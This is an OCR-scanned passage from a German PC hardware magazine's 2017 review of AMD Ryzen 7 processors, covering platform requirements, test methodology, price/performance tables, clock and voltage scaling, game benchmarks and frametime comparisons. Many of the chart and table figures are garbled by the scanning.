den Aufpreis rechtfertigen würde. 
Im Test konnten wir zumindest 
einen unserer R7-1700 problem- 
los mit 3,9 GHz betreiben und den 
Standard-Takt von 3,6 GHz des Top- 
modells R7-1800X sollte so gut wie 
jeder R7-1700 mitmachen. 


Das braucht Ryzen 

Alle Ryzen-CPUs benötigen ein 
Mainboard mit Sockel AM4, welches 
explizit Ryzen-tauglich ist. Nicht 
alle der im Vorfeld etwa mit Bristol- 


Ridge-APUs verkauften Modelle 
vertragen auch Ryzen-CPUs. Der 
offene Multiplikator für einfaches 
Übertakten steht derzeit auf AM4- 
Boards mit X370- und B350-Chips 
zur Verfügung - kompakte Boards 
mit X300-Chip sollen das auch er- 
möglichen. Details zur Plattform 
gibt's ab Seite 34. 


Hinzu kommt verpflichtend der ak- 
tuelle DDR4-Speicher - Aufrüster 
müssen ihre alten DDR-3-Bestände 
also einer anderen Verwendung 
zuführen. AMD spezifiziert dabei 
maximal DDR4-2667, aber nur für 
höchstens zwei Single-Rank-Module 
- alles Weitere ab Seite 26. Da selbst 
die Topmodelle der Ryzen-7-CPUs 
mit maximal 95 Watt TDP auskom- 
men, reichen viele AM3-kompatible 
Kühler bereits aus - welche davon 


passen, empfehlenswert sind und 
noch Reserven zum Übertakten bie- 
ten, erfahren Sie ab Seite 44. 


So testen wir 

Für den ersten Testteil nutzen wir 
unseren Standard-Testparcours, 
der bereits hochgradig auf die Nut- 
zung vieler Threads ausgelegt ist - 
sonst würden die Top-Positionen 
kaum von Zehn- und Achtkernern 
mit ihren niedrigen Werkstakten 
gehalten. Ab Seite 22 gibt es über- 
dies Benchmarks mit etlichen wei- 
teren Spielen und im Direktver- 
gleich zwischen der brandneuen 
Geforce GTX 1080 Ti und AMDs 
aktuell schnellster Karte, der Rade- 
on Fury X. Dort prüfen wir - wie 
auch im Architekturteil anhand des 
Standard-Parcours - den Einfluss 
von SMT auf die Leistung. 
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SPECIAL | Ryzen: Test 


Preis-Leistungs-Verhàltnis: AMD- und Intel-Prozessoren bis 500 Euro in der Übersicht 


500 7 
ш Intel-Prozessoren rd 
450 D AMD-Prozessoren “ 450 
= Trendlinie CPUs bis 600 Euro „ ©„© 
400 | == Trendlinie auf Basis aller CPUs z 400 
350 350 
Р 
2 300 300 
i= 
E 250 250 
9 
= 
е. 
3 20 200 
2 
150 150 
100 100 
50 50 
0 0 
0 10 20 30 40 50 60 70 80 90 100 
Normierter PCGH-Leistungsindex (jeweils acht Spiele und Anwendungen) іп Prozent 
Prozessor Gesamt- Spiele- Leistungs- Prozessor Gesamt- Spiele- Leistungs- Prozessor Gesamt- Spiele- Leistungs- 
Index Index index Index Index index Index Index index 
Preis/Leist. Preis/Leist. Preis/Leist. Preis/Leist. Preis/Leist. Preis/Leist. 
1 | Intel Pentium G4560 100,0% 100,0% 43,8% 14 | AMD FX-9590 45,3% 37,0% 54,1% 27 | AMD Ryzen 7 1700 32,9% 23,3% 74,4% 
2 | AMD Athlon X4 845 91,8% 81,2% 28,9% 15 | Intel Core i5-7400 44,5% 40,9% 56,7% 28 | Intel Core i5-2500K 32,5% 29,7% 43,7% 
3 | AND FX-4300 81,2% 74,3% 31,6% 16 | Intel Core i5-7500 42,8% 39,3% 60,7% 29 | Intel Core i5-4670K 32,1% 29,0% 54,2% 
4 | AMD FX-6300 67,3% 59,4% 40,0% 17 | AMD A10-6800K 42,0% 37,0% 30,8% 30 | Intel Core i5-4690K 31,5% 28,4% 55,5% 
5 | AMD A8-7600 67,3% 59,6% 28,3% 18 | Intel Core i5-7600K 38,6% 34,9% 65,2% 31 | AMD Ryzen 7 1700X 30,6% 21,3% 78,6% 
6 | AMD FX-8300 64,3% 54,0% 44,2% 19 | Intel Core i3-7350K 38,5% 37,6% 52,9% 32 | Intel Core i5-5675C 30,0% 29,0% 63,7% 
7 | Intel Pentium G4400 62,8% 51,7% 23,6% 20 | Intel Core i5-6500 37,7% 33,8% 54,3% 33 | Intel Core i7-4790K 28,8% 24,7% 71,8% 
8 | AMD FX-6350 57,9% 50,2% 42,3% 21 | AMD A10-7870K 36,7% 32,7% 30,9% 34 | Intel Core i7-6800K 28,2% 22,9% 81,6% 
9 | AMD FX-8350 55,8% 45,8% 49,6% 22 | Intel Xeon E3-1230 v5 36,3% 31,5% 69,5% 35 | Intel Core i7-5820K 27,8% 22,9% 78,1% 
10 | Intel Core i3-6100 55,6% 54,2% 46,2% 23 | Intel Core i5-6600K 34,3% 30,4% 57,7% 36 | Intel Core i7-5775C 27,8% 26,1% 79,3% 
11 | AND FX-8320E 52,3% 43,8% 43,2% 24 | AMD Phen. II X6 1100T 34,1% 26,6% 36,7% 42 | AMD Ryzen 7 1800X 23,6% 16,3% 82,0% 
12 | AMD A10-7800 48,2% 42,6% 28,6% 25 | Intel Core i7-7700K 33,9% 29,8% 85,2% 53 | Intel Core i7-6900K 12,9% 9,6% 94,4% 
13 | AMD FX-8370 45,7% 37,6% 50,0% 26 | Intel Core i7-6700K 33,8% 29,7% 79,1% 56 | Intel Core i7-6950X 8,7% 6,2% 100,0% 


Basis: PCGH-Leistungsindex in Relation zum (bei Redaktionsschluss) aktuellen Marktpreis. Im Diagramm: CPUs bis 500 Euro, Trendlinien: Durchgezogene Linie = im Diagramm abgebildete Prozessoren; gestrichelt = alle Prozessoren. 


Takt-/Spannungsskalierung Ryzen 7 1700 


Um herauszufinden, wo der optimale 


Effizienzoptimierung: Takt und Spannung beim Ryzen 7 1700 - stabil bis 3,9 GHz 


Betriebspunkt für unseren Ryzen 7 1700 1.800 18 
aus dem Handel liegt, haben wir ihn nicht tr 
nur bei etlichen Taktstufen vermessen, 1.600 -— ië 
sondern auch manuell optimiert. Die per ur s 
* = 
Voltage ID automatisch angelegte Span- 14% " tr " s 
nung macht auf dem Crosshair VI Hero $e A | 5 
bei unserem R7 1700 dabei zwei große Е -e--e--é—e- Ё Ё 
Sprünge: Einmal von 3,0 auf 3,1 GH & 1200 9799-97 k. ЦЕ 
prünge: Einmal von 3,0 auf 3, H = 87 Ф“ N rd 
1,025 auf 1,155 Volt) und einmal h: ad 724 А > 
(1, auf 1, olt) und einmal von S e \. .. 
3,5 auf 3,6 GHz (1,200 auf 1,330 Volt), 5310| e^ ж Baz N m+ 10 š 
sodass die Effizienz an diesen Punkten = e Lë: E 17 7700x ie. | ° 
stark sinkt (rote Linie). Mit manueller = 800 À Шол Bl isocox <- 8 = 
Optimierung (grüne Punkte) läuft der & n d BR ONG x 
R7 1700 bei 3,2 GHz stabil mit 0,975 Е і z ë 
UEFI-Volt (Load-Line-Calibration 3: 0,981 2 ] 5 
š Ф Bl ;7-ssox B г°-з560х © 
Volt real). Zwischen 3,4 und 3,6 GHz 5 | E 
mussten wir jedoch die Spannung von 200 + Lana [Себеле RIST inke ЧЕГ 1 E 
o " eistung [Cinebench ni, linke 5Kala [9] 
1,08 auf 1,15 Volt erhöhen, sodass hier X roseo A Effizienz [CB/Watt; manuell optimiert) 
die Effizienz wieder abfällt. Die höchste 200 E Effizienz [CBs/Watt, Intel-CPUs) — eingeordnet bei jeweils vergleichbarer, absoluter Leistung zum Ryzen 7 2 
А А TREE @ Effizienz [CBs/Watt] 
. h s e Ge x Effizienz [CBs/Watt, AMD-CPUs) — eingeordnet bei jeweils -vergleichbarer, absoluter Leistung zum Ryzen 7 
‚9 Volt bei z ohne Turbo un : 0 0 
13,75 CB-Punkte pro Watt liegen weit 1,55 1,6 17 18 19 20 21 22 23 24 25 2,6 27 28 28 30 3,1 32 33 34 35 36 3,7 38 39 40 


über den (unoptimierten) Intel-CPUs. 


Taktrate in MHz 


System: Asus Crosshair VI Hero (AMD Promontory X370), 2 x 8 GiB DDR4-2400 Dual-Rank, Geforce GTX 980 Ti @ 1.380/3.900 MHz (359.06 HQ); Windows 10 64 Bit. Fun fact: Für FX-9590-Leistung braucht der Ryzen 7 1700 nur 1,6 GHz. 
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PRO Series THUSIF FORMA HEN 


MYSTIC [YW III]. LIGHTNING PUDIO 
LIGHT gogst SHIELD Ш BODST 


HIER ERHÄLTLICH: Alternate - Amazon - Arlt - Bora Computer - Caseking - Computeruniverse · Cyberport - hwh - Mindfactory - Notebooksbilliger - im Fachhandel 


© 2017 Micro-Star Int'l Co. Ltd. MSI ist ein eingetragenes Warenzeichen der Micro-Star Int'l Co.Ltd. Alle Rechte vorbehalten. AMD, das AMD Arrow Logo, Ryzen und Kombinationen davon sind TRLIE GAM ING 
Marken der Advanced Micro Devices, Inc. in den USA und /oder anderen Ländern. Andere Namen dienen nur zu Informationszwecken und können Marken ihrer jeweiligen Eigentümer sein. 


SPECIAL | Ryzen: Test 


Action-Adventure: Assassin's Creed Syndicate Multithread-Shooter: Crysis 3 


„Bishopsgate“ (720p, kein AA/AF/min. Post-Processing) ,Fields" (720p, kein AA/AF/min. Post-Processing) 


Intel Core i7-6900K (3,2+ GHz – 8c/16t) [X25 135,9 (+60 96) Intel Core i7-6950X (3,0+ GHz — 10/20) [EIS E 193,2 (+109 96) 
D Ae DE ! 
Intel Core i7-7700K (4,2+ GHz — 4c/8t ШШ 131,2 (455 %) Intel Core i7-6900K (3,2+ GHz — 8c/16t) EE 176,9 (+92 %) 
i7- ‚4+ GHz- ТН 130,0 (653 9 
WE ае BEN en Intel Core 17-5960Х (3,04 GHz — 8c/16t) EZ] 164,4 (+78 %) 
Intel Core i7-5775C (3,3+ GHz - 4c/8t) EEE 127,3 (+50 %) i ñ 
Intel Core i7-5960X (3,0+ GHz — 8c/161) DER 127,1 (+50 %) ше] Сое i au 512157) 
Intel Core 17-5820K (3,3+ GHz- 6c/121) DER 122,0 (+44 %) Intel Core 17-6800К (3,4+ GHz 50120 ПИ ER 131.1 6570 
Intel Core i7-4790K (4,0+ GHz — 4c/8t) ON 110,0 (+30 %) AMD Ryzen 7 1800X (3,6+ GHz- 8с бх) ee 149,5 (+62 %) 
AMD Ryzen 7 1800X (3,6+ GHz — 8c/16t) ВОЗ 109,9 (+29 %) Intel Core i7-5820K (3,3+ GHz — 6c/12t) |a 149,0 (+61 96) 
AMD Ryzen 7 1700X (3,4+ GHz — 8c/16t) SB 106,1 (+25 %) AMD Ryzen 7 1700X (3,4+ GHz — 816) cog e 145,6 (+58 %) 
AMD Ryzen 7 1700 (3,0+ GHz — 8c/16t) ST 104,4 (+23 %) Intel Core i7-7700K (4,2+ GHz – 4с/8:) [XXX 144,3 (+56 %) 
Intel Core i7-3770K (3,5+ GHz – 4c/8t gn 100,2 (+18 90) AMD Ryzen 7 1700 (3,0+ GHz – 8c/16t) ua! 137,2 (+49 %) 
Intel Core i5-7600K (3,8+ GHz – 44, gait 99,7 (+17 96) Intel Core i7-6700K (4,0+ GHz — 4c/st) ШО БЕЙ 136,7 (+48 96) 
i5- -Aca S5 
Intel Core 15-7500 (3,4+ GHz — 4c/4t EE 94,4 (+11 %) Intel Core i7-4960X (3,6+ GHz 6c/12t) MEMME ЕЙ 136,7 (+48 %) 
i5- TE 85,0 (+0 9 ; 
Intel Core i5-4690K (3,5+ GHz — 4c/At) 85,0 (+0 96) Intel Core i7-3960X (3,34 GHz — 6/121) EISEN 131,0 (+42 %) 
Intel Core i7-2600K (3,4+ GHz — 4с/81) mauwa 84,9 (Basis) А 
. Intel Core i7-5775C (3,3+ GHz — 4/81) [X 128,5 (+39 96) 
Intel Core i5-3570K (3,4+ GHz – 4c/4t) Ea 82,1 (-3 96) | 
AMD FX-9590 (4,7+ GHz — 4m/8t) БЕЗ 81,2 (-4 %) Intel Core i7-4790K (4,0+ GHz -Acan EEN 
Intel Pentium G4560 (3,5 GHz — 2c/4t) MEGS E 70,9 (-16 96) Intel Core i7-4770K (3,5+ GHz - 408) EIGEN I 119,3 (+29 %) 
AMD FX-8300 (3,3+ GHz — 4m/8t) ME 70,9 (-16 %) Intel Core i7-990X (3,46+ GHz — 6с/121) X08 EX 119,2 (+29 %) 
Intel Core 15-2500К (3,3+ GHz — 4c/4t) Deg 70,2 (-17 %) Intel Xeon E3-1230 v5 (4,0+ GHz – 4c/8t) o 117,5 (+27 %) 
AMD FX-6350 (3,9+ GHz- 3m/6t) MEMME 67,6 (-20 %) Intel Core i7-4820K (3,7+ GHz – 4c/8t ШЕТ ЕШ 102,1 (+11 %) 
AMD Ph. Il X6 11007 (3,3+ GHz — 6c/6t) [magi 56,5 (-33 %) Intel Core i7-3770K (3,5+ GHz – 4с/81 [XXe 8 101,6 (+10 96) 
AMD Ph. II X4 955BE (3,2 GHz – 4с/41) Ere 47,1 (-45 96) Intel Core i5-7600K (3,84- GHz – 4c/4t) ЗЕ 101,5 (+10 96) 
Intel Core 2 06600 (2,4 GHz — 4c/4t) "äer 28,7 (-66 96) AMD FX-9590 (4,7+ GHz — Am/8t) ЛЕ 95,7 (+4 96) 
Sim. Ryzen 5 1600X (3,6+ GHz — 6с/121) D 107,4 (+27 9b) Intel Core i5-5675C (3,1+ GHz — Ac/4t) ШЕЕ В 94,6 (+2 96) 
Sim. Ryzen 5 1500X (3,5+ GHz – 4c/8t) Xara 94,1 (+11 96) Intel Core i5-7500 (3,4+ GHz – 4с/41) [Xs 94,3 (+2 %) 


System: Intel X99, 2170/297/277, AMD X370/990FX,8 GiB RAM pro Speicherkanal (Geschw. 
jeweils laut max. CPU-Spezifikation), GF GTX 980 Ti @ 1.380/3.900 MHz (359.06 HQ); Win 10 
64 Bit Bemerkungen: Alle Spiele-Tests 1.280 x 720 (16:9), um GPU-Limit zu verringern. 


Mimil @ Fps 


» Besser 


Rollenspiel: The Witcher 3 


„Hierarch Square” (720p, kein AA/AF/min. Post-Processing/Hairworks aus) 


Intel Core i7-6900K (3,2+ GHz - 8c/16t 
Intel Core i7-5775C (3,3+ GHz – 4c/8t 
Intel Core i7-7700K (4,2+ GHz – 4c/8t 

Intel Core i7-5960X (3,0-- GHz — 8c/16t) 

Intel Core i7-6800K (3,4+ GHz — 6c/12t) 

Intel Core i7-5820K (3,3+ GHz — 6с/121) 

AMD Ryzen 7 1800X (3,6+ GHz — 8c/16t 
Intel Core i7-4790K (4,0+ GHz - 4c/8t 
AMD Ryzen 7 1700X (3,4+ GHz - 8c/16t 
AMD Ryzen 7 1700 (3,0-- GHz — 8c/16t 
Intel Core i7-3770K (3,5+ GHz — 4c/8t 


ШИИ 134,7 (+60 %) 
ENS 131,1 (+56 90) 
pmo 125,5 (+49 %) 
magi 123,5 (+47 *6) 
Egi 118,3 (+40 %) 
m———08l[8 115,0 (+36 %) 
Eos 109,9 (30 %) 
pss 104,6 (+24 *6) 
pgs 104,6 («24 %) 
ENS 01, (+21 %) 
ENS 95,1 (+13 0) 


( 
Intel Core i7-2600K (3,4+ GHz — 4c/8 
Intel Core i5-4690K (3,5+ GHz — Ach 
Intel Core i5-6600K (3,4+ GHz — 4c/8 
Intel Core i5-4670K (3,4+ GHz — Ach 

AMD FX-8370 (4,04- GHz — 4m/8 
AMD FX-8350 (4,04- GHz — 4m/8 
Intel Core i5-7400 (3,0+ GHz — Acht: 
Intel Core 15-6500 (3,2+ GHz - Acht: 
Intel Core i5-3570K (3,4+ GHz — 4с/4! 
Intel Core i3-7350K (4,2 GHz - 2c/4 
AMD FX-8300 (3,3+ GHz - 4m/8 
AMD FX-8320E (3,2+ GHz — 4m/8 
AMD FX-6350 (3,9+ GHz - 3m/6 
Intel Core i5-2500K (3,3+ GHz - 4c/4t 
Intel Core 13-6100 (3,7 GHz - 2c/4 

AMD Phen. II X6 1100T (3,34- GHz - 6с/6 
Intel Pentium G4560 (3,5 GHz - 2c/4 

AMD FX-6300 (3,54- GHz - 3m/6 


) 

) 

) 

) 

) 

) 

) 

) 

) 4%) 
) 5%) 
) EX 73 (5 96) 
) Eo IE 82,9 (-10 9) 
) Ee [x 80,3 (-13 90) 
) EX 77,8 (-16 96) 

) 73,7 (-20 96) 

) Ee 72,1 22 96) 

) EDI 71,4 (23 %) 

) ШИНИ 70,7 (-23 96) 

) ШИНИ 69,5 (-25 96) 

) ШИНИ 67,2 (-27 %) 

) ES 65,5 (-29 96 
) 

) 

) 

) 

) 

) 

) 

) 

) 

) 


) 
ESSI 64,7 (30 96) 


Intel Core i5-7600K (3,8+ GHz — 4c/4t) ESS 94,5 (+12 96) AMD Athlon X4 845 (3,5+ GHz - 2m/4t) EN 48,4 (45 %) 
Intel Core i5-7500 (3,4+ GHz — 4c/4t) EBEN 89,1 (+6 96) AMD A10-7870K (3,9+ GHz – 2m/4t) ШШЕН 48,2 (-48 %) 
Intel Core i7-2600K (3,4+ GHz — 4c/8t) Н И 84,3 (Basis) AMD A10-6800K (4,1+ GHz — 2m/4t) ШЕ 3818 47,3 (49 90) 
AMD FX-9590 (4,7+ GHz — 4m/8t) [EXE E 81,0 (-4 96) AMD FX-4300 (3,8+ GHz — 2m/4t) Ш 3918 46,6 (-50 96) 
Intel Core i5-4690K (3,5+ GHz — 4c/4t) FEES 79,9 (-5 %) AMD A10-7800 (3,5+ GHz - 2m/4t) ЗЫП 44,3 (-52 96) 
Intel Core i5-3570K (3,4+ GHz – 4c/4t) att 75,7 (-10 96) Intel Pentium G4400 (3,3 GHz — 2с/2:) NEIN 43,8 (-53 %) 
AMD FX-8300 (3,3+ GHz – 4m/8t) sea n 70,5 (-16 90) AMD A8-7600 (3,1+ GHz — 2m/4t) 3518 43,0 (-53 %) 
Intel Pentium G4560 (3,5 GHz – 2c/4t) eon 65,4 (-22 %) Intel Core 2 Quad 06600 (2,4 GHz — 4c/4t) EIN 29,6 (-68 96) 
Intel Core i5-2500K (3,3+ GHz = 4c/4t) NNNM 63,2 (-25 %) Intel Core 2 Duo E8500 (3,16 GHz - 2/21) MAI 20,4 (-78 %) 
AMD FX-6350 (3,9+ GHz — 3m/6t) ВБЛ 62,3 (-26 %) ИВ MTE TiS 
AMD Ph. II X6 11007 (3,3+ GHz — 6c/6t) EZB] 49,3 (-42 96) j ' 
AMD Ph. ll X4 955BE (3,2 GHz — 4cJ4t) MESA 38,7 (-54 %) Intel Pentium EE 965 (3,73 GHz — Zeiät) 14,2 (-85 %) 
Intel Core 2 06600 (2,4 GHz — 4c) EES 25 3 (-70 %) Intel Core 2 Duo E6600 (2,4 GHz — 2/21) DI 14,0 (-85 %) 
Sim. Ryzen 5 1600X (3,6+ GHz — 6c/12t) gt 103,1 (+22 %) Sim. Ryzen 5 1600X (3,6+ GHz – 6c/12t) EX cass 141,6 (+53 %) 
Sim. Ryzen 5 1500X (3,5+ GHz – 4c/8t) |n] 93,1 (+10 %) Sim. Ryzen 5 1500Х (3,5+ GHz - 4с/81) ВОЈ 104,7 (+13 96) 


System: Intel X99, 2170/297/277, AMD X370/990FX,8 GiB RAM pro Speicherkanal (Geschw. 
jeweils laut max. CPU-Spezifikation), GF GTX 980 Ti @ 1.380/3.900 MHz (359.06 HQ); Win 10 
64 Bit Bemerkungen: Alle Spiele-Tests 1.280 x 720 (16:9), um GPU-Limit zu verringern. 


Mimil @ Fps 


» Besser 


System: Intel X99, 2170/797/277, AMD X370/990FX,8 GiB RAM pro Speicherkanal (Geschw. 
jeweils laut max. CPU-Spezifikation), GF GTX 980 Ti @ 1.380/3.900 MHz (359.06 HQ); Win 10 
64 Bit Bemerkungen: Alle Spiele-Tests 1.280 x 720 (16:9), um GPU-Limit zu verringern. 


Mimil 2 Fps 
» Besser 
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Ryzen: Test | SPECIAL 


Battlefield 1 MP 720p: In niedriger Auflósung ist in unserem DX11-Benchmark auf einem mit 64 Spielern voll besetzten Live-Server kein qualitativer Unterschied bei den 
Frametimes feststellbar. Beim doppelt so teuren Core i7-6900K sind die Frametime-Ausreißer nach oben nur etwas häufiger. 


AMD Ryzen 7 1800X Intel Core i7-6900K 


TRATS Bench Viewer Notes: FRAFS Bench Viewer Notes: 
Statistics (entire Ме) 1.280x720 Statistics (entire fie) 1380x720 
X Avg. time: — 699 (143195) PCGH-CPU-Benchmark # Avy. time; (165 FPS) PCGH-CPU-Benchmark 
"e 1% time: — 893 (112 FPS) Battlefield 1 (DX11) v 1% time: (126 FPS) Battlefield 1 MP (0X11) 
01% time; 10,6 (94 FPS) Ryzen 7 1800Х 0.1% time: (108 FPS) Core (7 -6900K 
128 K frames: (0- 2859) Titan X (Pascal) 33K frames: (0- 3306) Titan X (Pascal) 


m "ien ` ten KC 


Battlefield 1 MP 720p: Im Vergleich zu einem Vierkerner ohne SMT, wie dem Core i5-7600, zeigt der Ryzen 7 1700 einen glatteren Frametime-Verlauf. Die Durchschnitts-Fps 
des Vierkerners werden durch verteilte, schnelle Einzelframes nach oben gezogen, das 99%-Percentil fällt bereits deutlicher zugunsten des Ryzen 7 1700 aus. 


AMD Ryzen 7 1700 Intel Core i5-7600K 


АГС Bench Viewer Notes: FRAFS Bench Viewer Notes: 
Statistics (entire file) 1.280x 720 Statistics (entire file) 1280x720 
e Avg.time: — 733 (136 FPS} PCGH-CPU-Benchmark = Avg.tme: 7% (138195) PCGH-CPU-Benchmark 
— 1% time: 928 (108 FPS) Battlefseld 1 (DX11) m 1% lime: 977 (102 FPS) Battlefield 1 MP (DX11) 
01% time: 110 (91 FPS) Ryzen 7 1700 01% time: 110 (91 FPS) Core 5-7600K 
2,7 K frames: (0- 2725) Titan X (Pascal) ZI K frames: (0- 2753) Titan X (Pascal) 


w Me пез 7s 


Crysis 3: In unserem C3-Test muss sich der Ryzen 7 1700 dem vergleichbar teuren i7-7700K stellen. Im Vergleich mit dem Intel-Quadcore fällt auf, dass die schnellen Frames 
zwar nicht so hoch liegen, es allerdings auch weniger langsame Bilder gibt — sprich, der Frameverlauf ist trotz geringerer Durchschnitts-Fps glatter. 


AMD Ryzen 7 1700 Intel Core i7-7700K 


НАБ Bench Viewer Notes: FRAFS Bench Viewer Notes: 

Statisties (entire file) 1.280x720 Statistics (entire file) 1480x720 
d Avg.tme: 7,43 (135 р) PCGH CPU Benchmark _ Амо. апе: 684 (146 FPS) PCGH-CPU-Benchmark 
oono 1% time: 112 (ss ГРУ) Crysis 3 (DX11) мн 1% time; 118 (85 FPS) Crysis 3 (DX11) 

01% time: 121 (83 FPS) Ryzen 7 1700 0.1% time: 12,9 (78 FPS) Core i7-7700K. 

2⁄6 K frames: (0 268%) Titan X (Pascal) 2.9 K frames: (0- 2922) Titan X (Pascal) 


we c "ien ` men “m 


Assassin's Creed Syndicate: Hier zeigt sich noch einmal deutlich die unruhigere Frameverteilung des Vierkerners im Vergleich zum Ryzen 7 1700. Da sich dieses Bild auch in 
Crysis 3, Dragon Age Inquisition und wie oben gezeigt, in Battlefield 1 spiegelt, kann man schon von einem Trend ausgehen. 


AMD Ryzen 7 1700 Intel Core i5-7600K 


АГС Bench Viewer Notes: FRAFS Bench Viewer Notes: 
Statistics (entire file) 1.920x 1.080 Statistics (entire file) 1.20x 1.080 
_ Амд. бте: 9, (103 1Р5) PCSH-CPU-Benchmark Ke Aug-time: 10,5 (96 FPS) PCGH CPU Benchmark 
е 1% time; 125 (80 FPS) Assassin's Creed Syndicate (DX11) m. 1% time: 1520 (67 FPS) Assassin's Creed Syndicate (DX11) 
01% time: 13,9 (72 res) Ryzen 7 1700 01% time: 163 (61 ГР5) Core 5-7600K. 
2K frames: (0O- 2059) Titan X (Pascal) 1,9 K frames: (0 - 1907) Titan x (Pascal) 


m 
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SPECIAL | Ryzen: Test 


Wie immer darf (und muss) in un- 
serem Standard-Parcours auch der 
Turbo zeigen, was er kann. In unse- 
ren auf Multi-Threading ausgelegten 
Tests steht jedoch zumeist „nur“ der 
All-Core-Turbo auf dem Plan, sodass 
für praktische Belange die Ryzen- 
7-CPUs meist mit 3,7, 3,5 und 3,2 
GHz takten, wie es UEFI und Pro- 
zessor vorgeben. Mehr zu XFR und 
Turbo zeigt das Schaubild in der Ar- 
chitekturabteilung. 


Für unsere Tests hat sich insgesamt 
die zweite von AMD empfohlene 
Speicherkonfiguration mit zwei 
DDR4-2400-Modulen als schneller 
gegenüber DDR4-2667 erwiesen. 
„Wie das??“ fragen Sie sich bestimmt: 
Bei der niedrigeren Taktrate dür- 
fen die Module auch in Dual-Rank- 
Bauweise vorliegen und das bringt 
gerade bei vielen parallelen Spei- 
cherzugriffen die entscheidenden 
Prozente. Während im Cinebench 
R15 Gleichstand zwischen DDR4- 
2667 SR und -2400 DR herrschte, 
gab es in anderen Anwendungen 
und Spielen ein leichtes Plus: 2 Fps 
in Crysis 3, 6 in AC: Syndicate oder 4 
in The Witcher 3. Wir testen also in 
der optimalen Konfiguration - und 
setzen dabei auch das Windows- 
Energiesparschema auf „Höchstleis- 
tung“, da hier der Ryzen-Prozessor 


seine  Energieverwaltungsfunktio- 
nen (und dazu zählt auch der Tur- 
bo-Modus) wesentlich feiner und 
besser regulieren kann. Zudem nut- 
zen wir mit dem Asus Crosshair VI 
Hero samt UEFI 0902 die von AMD 
empfohlene Plattform. Sollten kom- 
mende UEFL, Treiber-, Spiel- oder 
Windows-Updates die Performance 
nochmals verbessern, liefern wir ak- 
tualisierte Werte. 


Warum 720p? So spielt 
doch keiner! 

Recht haben Sie! Allerdings geht es 
uns bei CPU-Tests darum, die Pro- 
zessorleistung ohne angezogene 
Handbremse zu ermitteln - und 
genau das entspricht dem Test in 
hóheren Auflósungen. Das geht 
so weit, dass selbst mit einer Titan 
X (oder 1080 Ti oder Fury X) in 
Ultra-HD-Auflósung mit hóchster 
Kantengláttungseinstellung & Co. 
ein 100-Euro-Prozessor selbst ei- 
nem 1.700-Euro-Boliden das Wasser 
reichen kann, denn dort misst man 
schlicht und ergreifend nur noch 
die Leistungsfähigkeit der Grafik- 
karte. Da Prozessoren zuletzt aber 
eine immer längere Nutzungsdau- 
er genießen durften, steigt auch 
die Chance auf ein oder mehrere 
Grafikkarten-Upgrades bis 
Nutzungsende. Und das bringt die 


zum 


Unterschiede zwischen den Prozes- 
soren wieder stärker zum Vorschein 
- Tests in 720p sind also Blicke in 
die Zukunft, wenn Sie so wollen. 
Für alle Zweifler haben wir ein paar 
Skalierungs-Benchmarks in Batt- 
lefield 1 (MP), Crysis 3, Assassin’s 
Creed Syndicate und Dragon Age In- 
quisition (die beiden Letzteren hier 
nicht abgedruckt) durchgeführt - 
mit einer Titan X, deren Power- und 
Temperatur-Ziel auf das Maximum 
(120 %/90 °C) erhöht wurden. Wäh- 
rend sich in Crysis 3 in 720p und 
1080p die schnellsten Prozessoren 
noch absetzen können, nivellieren 
2.560 x 1.440 Bildpunkte das Leis- 
tunglevel selbst ohne Antialiasing 
und alle CPUs vom Core i5-7600K 
über Ryzen 7 1700 und 1800X sowie 
i7-7700K bis hinauf zum i7-6900K 
landen bei knapp 125 Fps - in Ultra- 
HD halbiert sich dieser Wert etwa. 


Im Multiplayer auf der Battlefield- 
1-Map Amiens sind 720p und 1080p 
(ohne Antialiasing und Post-Proces- 
sing!) ebenfalls CPU-limitiert, ab 
1440p zieht sich das Feld zusammen 
und erreicht in UHD wiederum qua- 
si identische Fps-Raten innerhalb 
der etwas chaotischen Toleranzen 
eines Live-Servers mit 63 Mitspie- 
lern - teilweise sind niedrigere Auf- 
lösungen langsamer als höhere. 


Und wo ist mein ...? 

Aus Platzgründen können wir nicht 
alle verfügbaren Vergleichs-CPUs 
abdrucken - beispielhaft haben wir 
dies einmal im Crysis-3-Benchmark 
auf der folgenden Doppelseite mit 
insgesamt 54 (plus 2 simulierten) 
Prozessoren gemacht. Für die rest- 
lichen Benchmarks haben wir uns 
bemüht, genügend Anhaltspunkte 
zu liefern. Die Core-i-6000-Generati- 
on „Skylake“ ist bis auf den Takt mit 
Kaby Lake identisch, sodass Sie hier 
einfach ein paar Prozent abziehen 
kónnen. Der ehemals beliebte Core 
i5-2500K ist ein wenig langsamer 
unterwegs als der i5-3570K im Dia- 
gramm. Die FX-8000-CPUs, von de- 
nen sowieso viele übertaktet laufen, 
liegen zwischen FX-8300 und FX- 
9590. Auf diese Weise sollten Sie zu- 
mindest einen groben Anhaltspunkt 
für die Performance Ihrer aktuellen 
CPU finden können. 


Leistungsschau: AMD Ryzen 
Eine Gemeinsamkeit mit Bulldozer 
hat Ryzen dann doch: Die Perfor- 
mance in den in der Regel besser 
parallelisierbaren Anwendungen 
fällt besonders stark aus. Doch das 
wars schon - mit den Bulldozer- 
Ähnlichkeiten. Denn im Gegensatz 
zur Vorgängerarchitektur überzeugt 
AMDs Ryzen-7-Phalanx auf nahezu 


Ryzen im Effizienztest 


720p für CPU- und 2160p für GPU-Tests 


Effizienz in Spielen 


Effizienz in Anwendungen 
Intel Core i7-6900K 


( 
AMD Ryzen 7 1700X ( 


ntel Core i7-7700K (4,2+ GHz - 4c/8t) ua“ 95,5 (+43 96) 
Intel Core i7-6900K (3,2+ GHz – 8c/16t) | 87,4 (+31 %) 
Intel Core i7-6800K (3,4+ GHz – 6120 E 83,1 (+25 %) 
ntel Core i7-4790K (4,0+ GHz - 4c/8t) 88 83,0 (+25 %) 
AMD Ryzen 7 1800Х (3,6+ GHz — 8c/16t) 79,7 (+20 96) 
AMD Ryzen 7 1700 (3,0+ GHz — 8c/16t) Eu 79,2 (+19 96) 
AMD Ryzen 7 1700X (3,4+ GHz - 8c/16t) Eu 78,9 (+18 96) 
ntel Core i7-2600K (3,4+ GHz – 4c/8t) Em 66,6 (Basis) 

AMD FX-8300 (3,3+ GHz — Am/8t) | 47,2 (-29 96) 

AMD FX-9590 (4,7+ GHz — Am/8t) eu 40,2 (-40 %) 
AMD Ph. Il X6 11007 (3,3+ GHz — 6c/6t) EEE 37,2 (-44 %) 


3,24 GHz- 8c/16t) E 89,8 (+66 96) 
3,4+ GHz- 8c/16t) 688 86,5 (+60 96) 
AMD Ryzen 7 1700 (3,0+ GHz — 8c/16t) 68 86,5 (+60 96) 
Intel Core i7-7700K (4,2+ GHz — 4с/81) E 84,6 (+57 96) 
